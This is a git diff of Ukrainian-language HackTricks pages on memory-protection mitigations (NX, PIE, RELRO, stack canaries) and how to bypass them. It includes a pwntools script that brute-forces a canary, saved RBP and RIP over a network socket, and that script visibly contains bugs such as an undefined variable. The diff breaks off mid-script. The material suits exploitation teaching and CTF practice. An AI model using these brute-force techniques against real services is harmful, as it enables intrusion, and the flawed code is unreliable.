Вивчайте та практикуйте хакінг AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Школа хакінгу HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Школа хакінгу HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакінг-прийоми, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **та** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Базова інформація
|
||||
|
||||
Біт **No-Execute (NX)**, також відомий як **Execute Disable (XD)** за термінологією Intel, є апаратною функцією безпеки, призначеною для **пом'якшення** наслідків атак на **переповнення буфера**. Коли вона реалізована та увімкнена, вона розрізняє області пам'яті, призначені для **виконуваного коду**, та ті, що призначені для **даних**, таких як **стек** та **куча**. Основна ідея полягає в тому, щоб запобігти виконанню зловмисного коду через вразливості переповнення буфера, помістивши зловмисний код, наприклад, у стек, та направивши потік виконання до нього.
|
||||
|
||||
## Обхід захисту
|
||||
|
||||
* Можна використовувати техніки, такі як [**ROP**](../rop-return-oriented-programing/) **для обходу** цього захисту шляхом виконання фрагментів виконуваного коду, які вже присутні в бінарному файлі.
|
||||
* [**Ret2libc**](../rop-return-oriented-programing/ret2lib/)
|
||||
* [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/)
|
||||
* **Ret2...**
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте хакінг AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Школа хакінгу HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Школа хакінгу HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакінг-прийоми, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **та** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
|
@ -0,0 +1,58 @@
|
|||
# PIE
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте взлом AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте взлом GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Основна інформація
|
||||
|
||||
Бінарний файл, скомпільований як PIE, або **Position Independent Executable**, означає, що **програма може завантажуватися в різні місця пам'яті** кожного разу при виконанні, запобігаючи захардкодженим адресам.
|
||||
|
||||
Суть взлому цих бінарних файлів полягає в експлуатації **відносних адрес**—зсуви між частинами програми залишаються тими ж, навіть якщо абсолютні місця змінюються. Для **обхіду PIE вам потрібно витікти одну адресу**, зазвичай з **стеку**, використовуючи вразливості, такі як атаки формату рядка. Як тільки у вас є адреса, ви можете обчислити інші за їх **фіксованими зсувами**.
|
||||
|
||||
Корисним підказкою при взломі бінарних файлів PIE є те, що їх **базова адреса, як правило, закінчується на 000** через те, що сторінки пам'яті є одиницями випадкового розташування, розміром 0x1000 байтів. Це вирішальний **перевірка, якщо експлойт не працює** як очікувалося, вказуючи, чи була ідентифікована правильна базова адреса.\
|
||||
Або ви можете використовувати це для свого експлойту, якщо ви витікаєте, що адреса знаходиться за **`0x649e1024`**, ви знаєте, що **базова адреса - `0x649e1000`**, і звідти ви можете просто **обчислити зсуви** функцій та місць.
|
||||
|
||||
## Обхід
|
||||
|
||||
Для обходу PIE потрібно **витікти деяку адресу завантаженого** бінарного файлу, є кілька варіантів для цього:
|
||||
|
||||
* **ASLR вимкнено**: Якщо ASLR вимкнено, бінарний файл, скомпільований з PIE, завжди **буде завантажуватися в одну адресу**, тому **PIE буде некорисним**, оскільки адреси об'єктів завжди будуть в одному місці.
|
||||
* **Отримати** витік (звичайно в простих завданнях CTF, [**перевірте цей приклад**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
|
||||
* **Перебор EBP та значень EIP** на стеку, поки ви не витікаєте правильні:
|
||||
|
||||
{% content-ref url="bypassing-canary-and-pie.md" %}
|
||||
[bypassing-canary-and-pie.md](bypassing-canary-and-pie.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* Використовуйте вразливість **довільного читання**, таку як [**формат рядка**](../../format-strings/), щоб витікти адресу бінарного файлу (наприклад, зі стеку, як у попередній техніці), щоб отримати базу бінарного файлу та використовувати зсуви звідти. [**Знайдіть приклад тут**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
|
||||
|
||||
## Посилання
|
||||
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/pie](https://ir0nstone.gitbook.io/notes/types/stack/pie)
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте взлом AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте взлом GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
|
@ -0,0 +1,119 @@
|
|||
# BF Адреси в Стеку
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте Хакінг AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання AWS Червоної Команди HackTricks (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте Хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання GCP Червоної Команди HackTricks (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Якщо ви маєте справу з бінарним файлом, захищеним канарейкою та PIE (Position Independent Executable), вам, ймовірно, потрібно знайти спосіб їх обійти.**
|
||||
|
||||
![](<../../../.gitbook/assets/image (865).png>)
|
||||
|
||||
{% hint style="info" %}
|
||||
Зверніть увагу, що **`checksec`** може не виявити, що бінарний файл захищений канарейкою, якщо він був статично скомпільований і не може ідентифікувати функцію.\
|
||||
Однак ви можете вручну помітити це, якщо ви помітите, що значення зберігається в стеці на початку виклику функції і це значення перевіряється перед виходом.
|
||||
{% endhint %}
|
||||
|
||||
## Brute-Force Адреси
|
||||
|
||||
Для **обходу PIE** вам потрібно **витікати деяку адресу**. І якщо бінарний файл не витікає жодних адрес, то найкраще зробити це - **перебрати RBP та RIP, збережені в стеці вразливої функції**.\
|
||||
Наприклад, якщо бінарний файл захищений як **канарейкою**, так і **PIE**, ви можете почати перебирати канарейку, потім **наступні** 8 байтів (x64) будуть збережені **RBP**, а **наступні** 8 байтів будуть збережені **RIP**.
|
||||
|
||||
{% hint style="success" %}
|
||||
Припускається, що адреса повернення всередині стеку належить до основного коду бінарного файлу, який, якщо вразливість знаходиться в коді бінарного файлу, зазвичай буде таким.
|
||||
|
||||
{% endhint %}
|
||||
|
||||
Для перебору RBP та RIP з бінарного файлу ви можете зрозуміти, що правильний вгаданий байт є правильним, якщо програма виводить щось або просто не виходить з ладу. Ту **саму функцію**, що надана для перебору канарейки, можна використовувати для перебору RBP та RIP:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
def connect():
|
||||
r = remote("localhost", 8788)
|
||||
|
||||
def get_bf(base):
|
||||
canary = ""
|
||||
guess = 0x0
|
||||
base += canary
|
||||
|
||||
while len(canary) < 8:
|
||||
while guess != 0xff:
|
||||
r = connect()
|
||||
|
||||
r.recvuntil("Username: ")
|
||||
r.send(base + chr(guess))
|
||||
|
||||
if "SOME OUTPUT" in r.clean():
|
||||
print "Guessed correct byte:", format(guess, '02x')
|
||||
canary += chr(guess)
|
||||
base += chr(guess)
|
||||
guess = 0x0
|
||||
r.close()
|
||||
break
|
||||
else:
|
||||
guess += 1
|
||||
r.close()
|
||||
|
||||
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
|
||||
return base
|
||||
|
||||
# CANARY BF HERE
|
||||
canary_offset = 1176
|
||||
base = "A" * canary_offset
|
||||
print("Brute-Forcing canary")
|
||||
base_canary = get_bf(base) #Get yunk data + canary
|
||||
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
|
||||
|
||||
# PIE BF FROM HERE
|
||||
print("Brute-Forcing RBP")
|
||||
base_canary_rbp = get_bf(base_canary)
|
||||
RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
|
||||
print("Brute-Forcing RIP")
|
||||
base_canary_rbp_rip = get_bf(base_canary_rbp)
|
||||
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])
|
||||
```
|
||||
Останнє, що вам потрібно для перемоги над PIE, це обчислити **корисні адреси з витікших** адрес: **RBP** та **RIP**.
|
||||
|
||||
З **RBP** ви можете обчислити **де ви пишете свій shell в стеку**. Це може бути дуже корисно, щоб знати, де ви збираєтеся записати рядок _"/bin/sh\x00"_ всередині стеку. Щоб обчислити відстань між витікшим RBP та вашим shellcode, ви можете просто встановити **точку зупинки після витоку RBP** та перевірити **де знаходиться ваш shellcode**, після цього ви можете обчислити відстань між shellcode та RBP:
|
||||
```python
|
||||
INI_SHELLCODE = RBP - 1152
|
||||
```
|
||||
З **RIP** ви можете обчислити **базову адресу PIE-бінарного файлу**, що вам знадобиться для створення **дійсного ланцюжка ROP**.\
|
||||
Щоб обчислити базову адресу, просто виконайте `objdump -d vunbinary` та перевірте розібрані останні адреси:
|
||||
|
||||
![](<../../../.gitbook/assets/image (479).png>)
|
||||
|
||||
У цьому прикладі ви можете побачити, що для визначення всього коду потрібно лише **1 байт та півтора**, тоді базова адреса в цій ситуації буде **витікати з RIP, але закінчуватися на "000"**. Наприклад, якщо витікло `0x562002970ecf`, базова адреса буде `0x562002970000`
|
||||
```python
|
||||
elf.address = RIP - (RIP & 0xfff)
|
||||
```
|
||||
## Покращення
|
||||
|
||||
Згідно з [**деякими спостереженнями з цього посту**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking), можливо, коли витікають значення RBP та RIP, сервер не впаде з деякими значеннями, які не є правильними, і скрипт BF подумає, що він отримав правильні. Це тому, що можливо, **деякі адреси просто не зламають його, навіть якщо вони не є точно правильними**.
|
||||
|
||||
Згідно з цим блог-постом рекомендується додати коротку затримку між запитами до сервера.
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте Хакінг AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте Хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
|
@ -0,0 +1,27 @@
|
|||
# Relro
|
||||
|
||||
## Relro
|
||||
|
||||
**RELRO** означає **Relocation Read-Only** і це функція безпеки, яка використовується в двійкових файлах для зменшення ризиків, пов'язаних з перезаписами **GOT (Global Offset Table)**. Розглянемо концепцію у двох відмінних типах для ясності: **Partial RELRO** та **Full RELRO**.
|
||||
|
||||
### **Partial RELRO**
|
||||
|
||||
**Partial RELRO** використовує простіший підхід для підвищення безпеки без значного впливу на продуктивність двійкового файлу. **Розмістивши GOT вище змінних програми в пам'яті, Partial RELRO спрямований на запобігання переповнення буфера до досягнення та порушення GOT**.
|
||||
|
||||
Це **не заважає** використанню **GOT** з **довільним записом** уразливостей.
|
||||
|
||||
### **Full RELRO**
|
||||
|
||||
**Full RELRO** підвищує захист, **роблячи GOT та розділ .fini\_array** повністю **тільки для читання**. Як тільки двійковий файл стартує, всі адреси функцій вирішуються та завантажуються в GOT, після чого GOT позначається як тільки для читання, ефективно запобігаючи будь-яким змінам під час виконання.
|
||||
|
||||
Проте, компроміс з Full RELRO полягає в продуктивності та часі запуску. Оскільки потрібно вирішити всі динамічні символи при запуску перед позначенням GOT як тільки для читання, **двійкові файли з увімкненим Full RELRO можуть мати довші часи завантаження**. Цей додатковий час запуску - причина, чому Full RELRO не увімкнено за замовчуванням у всіх двійкових файлах.
|
||||
|
||||
Можна перевірити, чи **увімкнено Full RELRO** у двійковому файлі за допомогою:
|
||||
```bash
|
||||
readelf -l /proc/ID_PROC/exe | grep BIND_NOW
|
||||
```
|
||||
## Обхід
|
||||
|
||||
Якщо ввімкнено повний RELRO, єдиний спосіб обійти його - знайти інший спосіб, який не потребує запису в таблицю GOT для отримання довільного виконання.
|
||||
|
||||
Зверніть увагу, що **GOT бібліотеки LIBC зазвичай має частковий RELRO**, тому його можна змінити за допомогою довільного запису. Додаткова інформація в [Targetting libc GOT entries](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries).
|
|
@ -0,0 +1,102 @@
|
|||
# Канарейки стеку
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте хакінг AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **StackGuard та StackShield**
|
||||
|
||||
**StackGuard** вставляє спеціальне значення, відоме як **канарейка**, перед **EIP (Extended Instruction Pointer)**, зокрема `0x000aff0d` (представляє собою нуль, новий рядок, EOF, повернення каретки), щоб захистити від переповнення буфера. Однак функції, такі як `recv()`, `memcpy()`, `read()`, та `bcopy()`, залишаються вразливими, і вона не захищає **EBP (Base Pointer)**.
|
||||
|
||||
**StackShield** використовує більш складний підхід, ніж StackGuard, зберігаючи **глобальний стек повернень**, який зберігає всі адреси повернень (**EIP**). Ця настройка забезпечує, що будь-яке переповнення не завдасть шкоди, оскільки вона дозволяє порівняння збережених та фактичних адрес повернень для виявлення випадків переповнення. Крім того, StackShield може перевіряти адресу повернення на межеве значення, щоб виявити, чи вказує **EIP** за межі очікуваного простору даних. Однак цей захист можна обійти за допомогою технік, таких як Return-to-libc, ROP (Return-Oriented Programming) або ret2ret, що свідчить про те, що StackShield також не захищає локальні змінні.
|
||||
|
||||
## **Stack Smash Protector (ProPolice) `-fstack-protector`:**
|
||||
|
||||
Цей механізм розміщує **канарейку** перед **EBP** та переорганізовує локальні змінні так, щоб буфери знаходилися на вищих адресах пам'яті, що запобігає їх перезаписуванню іншими змінними. Він також безпечно копіює аргументи, передані на стек вище локальних змінних, і використовує ці копії як аргументи. Однак він не захищає масиви з менш ніж 8 елементами або буфери в структурі користувача.
|
||||
|
||||
**Канарейка** - це випадкове число, отримане з `/dev/urandom` або значення за замовчуванням `0xff0a0000`. Вона зберігається в **TLS (Thread Local Storage)**, що дозволяє спільним просторам пам'яті між потоками мати потокові глобальні або статичні змінні. Ці змінні спочатку копіюються з батьківського процесу, і дочірні процеси можуть змінювати їх дані, не впливаючи на батька або сестер. Однак, якщо використовується **`fork()` без створення нової канарейки, всі процеси (батько та діти) ділять одну й ту саму канарейку**, що робить її вразливою. На архітектурі **i386** канарейка зберігається за адресою `gs:0x14`, а на **x86\_64** - за адресою `fs:0x28`.
|
||||
|
||||
Ця локальна захист ідентифікує функції з буферами, які вразливі до атак, та впроваджує код на початку цих функцій для розміщення канарейки, а в кінці - для перевірки її цілісності.
|
||||
|
||||
Коли веб-сервер використовує `fork()`, це дозволяє проводити атаку методом брутфорсу для вгадування байта канарейки по одному. Однак використання `execve()` після `fork()` перезаписує простір пам'яті, анулюючи атаку. `vfork()` дозволяє дочірньому процесу виконуватися без дублювання до тих пір, поки він не спробує записати, після чого створюється дубльований процес, пропонуючи інший підхід до створення процесу та роботи з пам'яттю.
|
||||
|
||||
### Довжини
|
||||
|
||||
У бінарних файлах `x64` куки канарейки - це **`0x8`** байт qword. **Перші сім байтів є випадковими**, а останній байт - нульовий.
|
||||
|
||||
У бінарних файлах `x86` куки канарейки - це **`0x4`** байт dword. **Перші три байти є випадковими**, а останній байт - нульовий.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Найменш значущий байт у обох канарейках - це нульовий байт, оскільки він буде першим у стеку, що йде з менших адрес, і тому **функції, які читають рядки, зупиняться перед його читанням**.
|
||||
{% endhint %}
|
||||
|
||||
## Обхід
|
||||
|
||||
**Витікання канарейки** та подальше перезаписування її (наприклад, переповнення буфера) її власним значенням.
|
||||
|
||||
* Якщо **канарейка розгалужена в дочірніх процесах**, можливо **брутфорсити** її по одному байту:
|
||||
|
||||
{% content-ref url="bf-forked-stack-canaries.md" %}
|
||||
[bf-forked-stack-canaries.md](bf-forked-stack-canaries.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* Якщо в бінарному файлі є якась цікава **витік або довільна уразливість для читання**, можливо її витікати:
|
||||
|
||||
{% content-ref url="print-stack-canary.md" %}
|
||||
[print-stack-canary.md](print-stack-canary.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* **Перезапис вказівників, збережених у стеку**
|
||||
|
||||
Стек, який вразливий до переповнення стеку, може **містити адреси рядків або функцій, які можна перезаписати**, щоб експлуатувати уразливість без необхідності досягнення канарейки стеку. Перевірте:
|
||||
|
||||
{% content-ref url="../../stack-overflow/pointer-redirecting.md" %}
|
||||
[pointer-redirecting.md](../../stack-overflow/pointer-redirecting.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* **Модифікація як майстер та канарейки потоку**
|
||||
|
||||
Переповнення буфера в потоковій функції, захищеній канарейкою, може бути використане для **модифікації майстер-канарейки потоку**. В результаті захист стає некорисним, оскільки перевірка використовується з двома канарейками, які є однаковими (хоча зміненими).
|
||||
|
||||
Більше того, переповнення буфера в потоковій функції, захищеній канарейкою, може бути використане для **модифікації майстер-канарейки, збереженої в TLS**. Це тому, що можливо досягти позиції пам'яті, де зберігається TLS (і, отже, канарейка) через **bof в стеку** потоку.\
|
||||
В результаті захист стає некорисним, оскільки перевірка використовується з двома канарейками, які є однаковими (хоча зміненими).\
|
||||
Цю атаку виконано в описі: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
|
||||
|
||||
Перевірте також презентацію [https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015), в якій зазначено, що зазвичай **TLS** зберігається за допомогою **`mmap`**, і коли створюється **стек** **потоку**, він також генерується за допомогою `mmap`, що може дозволити переповнення, як показано в попередньому описі.
|
||||
|
||||
* **Зміна запису GOT для `__stack_chk_fail`**
|
||||
|
||||
Якщо бінарний файл має Partial RELRO, то можна використовувати довільний запис для зміни **GOT-запису `__stack_chk_fail`** на функцію-пустун, яка не блокує програму, якщо канарейка змінена.
|
||||
|
||||
Цю атаку виконано в описі: [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/)
|
||||
## Посилання
|
||||
|
||||
* [https://guyinatuxedo.github.io/7.1-mitigation\_canary/index.html](https://guyinatuxedo.github.io/7.1-mitigation\_canary/index.html)
|
||||
* [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
|
||||
* [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/)
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте взлом AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте взлом GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
|
@ -0,0 +1,131 @@
|
|||
# BF Відгалужені та Потокові Канарейки Стеку
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте Хакінг AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте Хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Якщо ви маєте справу з бінарним файлом, захищеним канарейкою та PIE (Position Independent Executable), вам, ймовірно, потрібно знайти спосіб їх обійти.**
|
||||
|
||||
![](<../../../.gitbook/assets/image (865).png>)
|
||||
|
||||
{% hint style="info" %}
|
||||
Зверніть увагу, що **`checksec`** може не виявити, що бінарний файл захищений канарейкою, якщо він був статично скомпільований і не може ідентифікувати функцію.\
|
||||
Однак ви можете вручну помітити це, якщо ви помітите, що значення зберігається в стеку на початку виклику функції і це значення перевіряється перед виходом.
|
||||
{% endhint %}
|
||||
|
||||
## Брутфорс Канарейки
|
||||
|
||||
Найкращий спосіб обійти просту канарейку - це якщо бінарний файл є програмою, яка **розгалужує дочірні процеси кожного разу, коли ви встановлюєте нове з'єднання** з ним (мережевий сервіс), оскільки кожного разу, коли ви підключаєтеся до нього, **використовуватиметься та сама канарейка**.
|
||||
|
||||
Тоді найкращий спосіб обійти канарейку - це просто **брутфорсити її посимвольно**, і ви можете визначити, чи був вірний вгаданий байт канарейки, перевіривши, чи програма впала, чи продовжує свій звичайний хід. У цьому прикладі функція **брутфорсить 8 байтів канарейки (x64)** та розрізняє між правильно вгаданим байтом та неправильним байтом просто **перевіряючи**, чи **відправлена відповідь** сервером (інший спосіб у **іншій ситуації** може бути використання **try/except**):
|
||||
|
||||
### Приклад 1
|
||||
|
||||
Цей приклад реалізований для 64-бітної системи, але може бути легко реалізований для 32-бітної системи.
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
def connect():
|
||||
r = remote("localhost", 8788)
|
||||
|
||||
def get_bf(base):
|
||||
canary = ""
|
||||
guess = 0x0
|
||||
base += canary
|
||||
|
||||
while len(canary) < 8:
|
||||
while guess != 0xff:
|
||||
